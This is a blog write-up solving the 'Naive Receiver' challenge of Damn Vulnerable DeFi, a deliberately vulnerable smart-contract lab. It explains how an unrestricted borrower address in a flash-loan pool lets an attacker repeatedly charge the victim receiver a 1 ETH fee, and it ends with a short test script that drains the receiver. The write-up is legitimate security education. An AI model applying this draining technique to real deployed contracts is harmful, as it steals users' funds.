Damn Vulnerable DeFi - Naive Receiver

Alex Sieusahai · March 16, 2022

Naive Receiver

First off, the pwnable is here. I’ll be talking from the perspective of someone with some exploit dev experience (say, completion of pwncollege), but with basically no Solidity nor DeFi experience.

Solidity By Example is pretty good for giving a basic introduction to the language and will be assumed.

What Do We Have To accomplish?

We have to somehow make the following pass:

after(async function () {
    /** SUCCESS CONDITIONS */

    // All ETH has been drained from the receiver
    expect(
        await ethers.provider.getBalance(this.receiver.address)
    ).to.be.equal('0');
    expect(
        await ethers.provider.getBalance(this.pool.address)
    ).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER));
});

In particular, then, we must somehow find a way to move the funds from the receiver into the pool (which imo is a dead giveaway but I digress).

Defining The Attack Surface

The culprit function must exist, then, somewhere within NaiveReceiverLenderPool. Thankfully, there’s only one function within that contract; flashLoan! Speaking within the context of that function:

  • borrower has no restrictions on what it is other than its datatype, address, and the fact that it’s a contract
  • We give the ETH and control flow to borrower, which does stuff
  • We’re guaranteed by the following:
    require(
      address(this).balance >= balanceBefore + FIXED_FEE,
      "Flash loan hasn't been paid back"
    );
    

    that we get those funds back, plus the FIXED_FEE which is 1 ETH.

That is, we essentially take 1 ETH from borrower and give it to the pool every time we execute a flash loan, and borrower’s only restriction is that it must be a contract.

This is it!

Obtaining The Exploit

We can just call this.pool.flashLoan 10 times, with a (basically) arbitrary borrow amount, with our this.receiver as the borrower. This results in 10 ETH in total being transferred from this.receiver to this.pool, as required.

it('Exploit', async function () {
  for (let i = 0; i < 10; ++i)
      this.pool.flashLoan(this.receiver.address, 1);
});

Twitter, Facebook